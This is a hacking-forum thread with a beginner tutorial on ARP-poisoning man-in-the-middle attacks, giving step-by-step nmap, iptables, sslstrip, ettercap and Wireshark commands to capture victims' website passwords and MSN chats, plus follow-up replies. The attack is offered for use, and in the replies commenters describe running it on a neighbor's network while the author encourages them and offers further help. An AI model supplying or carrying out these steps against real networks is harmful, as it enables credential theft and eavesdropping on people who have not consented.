[ac1dxtrem]

Sniffing Passwords&Conversations, MITM APR poisoning

I've seen tutorials in here for sniffing and MITM attacks, but most of them are hard for following if you are a beginner that is why I decided to make my own TUT about sniffing, that even the COMPLETE NOOB would understand it. In order to make this tutorial more easily understandable, I also included IMAGES in the tutorial so that you can see output messages and compare them to yours. So... lets start with the tutorial 👍 👍

!!! IMPORTANT !!!

*** If you don't want to be just another script kiddie I strongly recommend you to read this first [INFO] ARP Poisoning - FULL EXPLANATION [/INFO] **

REQUIREMENTS:

-ettercap
-sslstrip
-wireshark
-nmap

All the tools that we are going to use come with Backtrack 4 R1(download: http://www.backtrack-linux.org/downloads/ ) so no need to worry about that ✌ After Backtrack 4 R1 ISO is downloaded best option would be to BURN the .iso file to a DVD or USB and make a Live DVD/USB. If you don't know how to BURN .iso file to DVD or USB ask here : http://google.com 😁

If never the less you want to use another Linux Distro then use this commands in order to install these tools:

Code

Ubuntu:
sudo apt-get install ettercap  //installs ettercap latest version automatically  
sudo apt-get install wireshark  //installs wireshark latest version automatically
sudo apt-get install nmap  //installs nmap latest version automatically

Red Hat:
sudo yum install ettercap  //installs ettercap latest version automatically  
sudo yum install wireshark  //installs wireshark latest version automatically
sudo yum install nmap  //installs nmap latest version automatically

*sslstrip can't be installed this way so you have to install it manually.

/ THIS IS NOT FOR WINDOWS SO PLEASE DON'T ASK ME HOW TO DO THIS UNDER WINDOWS *\

Assuming that Backtrack 4 R1 ISO is successfully burned just boot your system from the DVD/USB and you will be taken to Backtrack 4 R1. Also if you are using another distro check if you successfully installed the necessary programs.

Now once you are in Backtrack you need to enable networking. In order to do that open konsole/terminal and type:

Code

/etc/init.d/wicd start

Once networking is enabled we need to find our victims. When we are here the ones that don't know nothing about MITM attacks should read http://en.wikipedia.org/wiki/Man-in-the-middle_attack & http://en.wikipedia.org/wiki/ARP_spoofing so that you can understand better what and why I'm going to do otherwise you would just be script kiddies that learnt the copy-paste command and became hackers... 😕 Assuming that you guys read these articles you now know that always the first target when doing APR poisoning is the GATEWAY so we find the gateway with:

Code

route

[img]http://img695.imageshack.us/img695/3768/routec.jpg[/img]

In some cases under the GATEWAY you get an IP but as you can see in my case under GATEWAY it says speedtouch.lan in order to get the IP simply use:

Code

ping <your_gateway_name>

or use

Code

route -n

This will give the same results as above only instead of host names it will give you their IP addresses.

Once you have the gateway you need to get your second target or the VICTIM. We do that by scanning the subnet with nmap. If you are gateway is for example 192.168.1.254 then your subnet is 192.168.1.1 that is why we use the following command:

Code

nmap -sP 192.168.1.1/24

[img]http://img840.imageshack.us/img840/259/nmap.jpg[/img]

After you choose your victim which is your second target for APR poisoning keep that IP together with your GATEWAY IP cause from now on you will have to replace these IPs instead of the Target 1 and Target 2 IPs in the tutorial. In my case the victim and Target 2 is 192.168.1.65.

Ok now we need to enable IP tables:

Code

nano /etc/etter.conf

Now you need to scroll down and find the following:

Code

# if you use iptables:
   #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

And replace(just delete the '#' signs before redir_command) with this:

Code

# if you use iptables:
   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Hit 'CTRL+X' then 'y' then ENTER.

Now we create our IP tables rule and we enable IP forwarding:

Code

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

echo 1 > /proc/sys/net/ipv4/ip_forward

[img]http://img833.imageshack.us/img833/7294/iptables.jpg[/img]

Now you need to find the interface you are using. Do that by typing:

Code

ifconfig

The interface you need, is the one that contains your IP address. In my case it is eth0.

EVERYTHING till now was a preparation for the attack. The actual attack begins now ! 🤩
First we need to start sslstrip:

Code

sslstrip -a -k -f

Then open another terminal and run ettercap:

Code

ettercap -T -i eth0 -q -M arp:remote /192.168.1.254/ /192.168.1.65/

[img]http://img213.imageshack.us/img213/1374/ettercap.jpg[/img]

THIS IS IT GUYS YOU DID IT !!! Now every time the victim logs in to Facebook, gmail, hotmail ,yahoo or any other site the password will be showed in the ettercap window. When you want to stop the attack just hit 'q' and targets will be re-arped.

Sniffing MSN conversation

Ok so this is the second part from this tutorial and it starts exactly where the previous ended. After you launched ettercap( ettercap -T -i wlan0 -q -M arp:remote /192.168.1.254/ /192.168.1.65/ --> after this command ) open another terminal and start Wireshark. Because all the traffic from the victim is going through you with the use of packet analyzer like Wireshark you would be able to sniff MSN conversations cause the packets are actually going through your PC first. In the new terminal type:

Code

wireshark

After Wireshark starts you will need to select your interface. Use the same interface that you used in the previous part. Now you will be able to see a lot of datas. In order to get only the MSN packets in the filter tab write:

Code

msnms

Now each packet you get is only from msn and you will search for the conversation in the bottom tab. Just go through the packets and see which one contains the conversations.

THE END

Feel free to ask for everything that you can't understand!

[ariton]

Yeah baby, i was looking for a tut like this.

[pk3r4lif3]

Nice tut, I might use but I'm not using linux and my vps is about to run out of days.

[ac1dxtrem]

Yeah baby, i was looking for a tut like this.

I am glad I helped ! :D

Nice tut, I might use but I'm not using linux and my vps is about to run out of days.

My advice ... START USING LINUX :D

[MasterMind98]

This is pretty nice, I am going to use this on my neighbor's wireless network. Thanks for the tutorial.

[ac1dxtrem]

This is pretty nice, I am going to use this on my neighbor's wireless network. Thanks for the tutorial.

Thanks m8 I'm glad you like it. If you need any help post here :)

[ac1dxtrem]

WooW 100 views and only 5 replies ...

[sajd]

i tried your tut on my neightbor network and i've got something like this and some other code ... :O what is this :S i dont get it

Wed Sep 29 21:51:02 2010
TCP 192.168.1.67:55408 --> 192.168.1.254:80 | AP

[email protected][ ....m...v..%_....U..p{-gDd&..fc.f..3$i*.c~...r..'.Z..~.&..e.J.pP..xh..Dl4....~|[U.[.c&....j..i.h..5L..j7.+...y.,n..q';D.._...?.6.
...E).X...7{KD9.S..EH..;)=g..N..u.l..Y..p.[.Q..~... '..#....=_.6.C..Bz..lL.O.;....(9
o....Ja...x.y.hL..L.~...ixf..E../f._.^.."...\3.c.DC~e

Wed Sep 29 21:51:02 2010
TCP 192.168.1.67:55408 --> 192.168.1.254:80 | AP

t xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">62497</NewExternalPort><NewProtocol xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">UDP</NewProtocol></m:GetSpecificPortMappingEntry></SOAP-ENV:Body></SOAP-ENV:Envelope>.
..Bz..lL.O.;....(9
o....Ja...x.y.hL..L.~...ixf..E../f._.^.."...\3.c.DC~eu...|(.".... ..'C..pg.y...V.0.m.&....D.q.B..m..m."*...[..HArZ..(a..t.;..'.52..\.)9..1.X4..!.h.+d%..1.;*}&...3....zB"A..1Q..=WH.^F.... ....Y.,..1....'..L.. u...^..>..v..9l..
1d01.
.]is.F..+..KU..../..S^.8...h.|.L.@..`..U.o....nt..H.Z(.

[ac1dxtrem]

You got this from wireshark ?

[flupavo]

" *sslstrip can't be installed this way so you have to install it manually. "

1. Anyone know how to do that? That part got me stuck
2. Do I need a specific wireless card for this, or any wireless card will work?
3. Thanks a lot for the tutorial, very good explaining!

[ac1dxtrem]

" *sslstrip can't be installed this way so you have to install it manually. "

1. Anyone know how to do that? That part got me stuck
2. Do I need a specific wireless card for this, or any wireless card will work?
3. Thanks a lot for the tutorial, very good explaining!

Here you go I will give a detail step by step guide to installing SSLStrip. First you need to download SSLStrip from here: http://www.thoughtcrime.org/software/sslstrip/

Then type this command to unzip it:

Code

tar -zxvf sslstrip-0.4.tar.gz

Then go to the folder that you have unzipped SSLStrip in and BUILD it with this command:

Code

python setup.py build

Now install SSLStrip with this command:

Code

sudo python setup.py install

Hope I helped :)

[Middle]

doesn't

Code

apt-get install sslstrip

Work too?

[ac1dxtrem]

doesn't

Code

apt-get install sslstrip

Work too?

Nope, you have to install it manually. Or maybe if you add the Backtrack repository it will work but I am not sure I've never done it that way. The above installation process works fine so you can use that one :)

[Middle]

So if you run backtrack 4 do what i said if not do what ac1dxtrem said =]

[ac1dxtrem]

So if you run backtrack 4 do what i said if not do what ac1dxtrem said =]

Well if he runs Backtrack he already has SSLStrip installed so no need to worries xD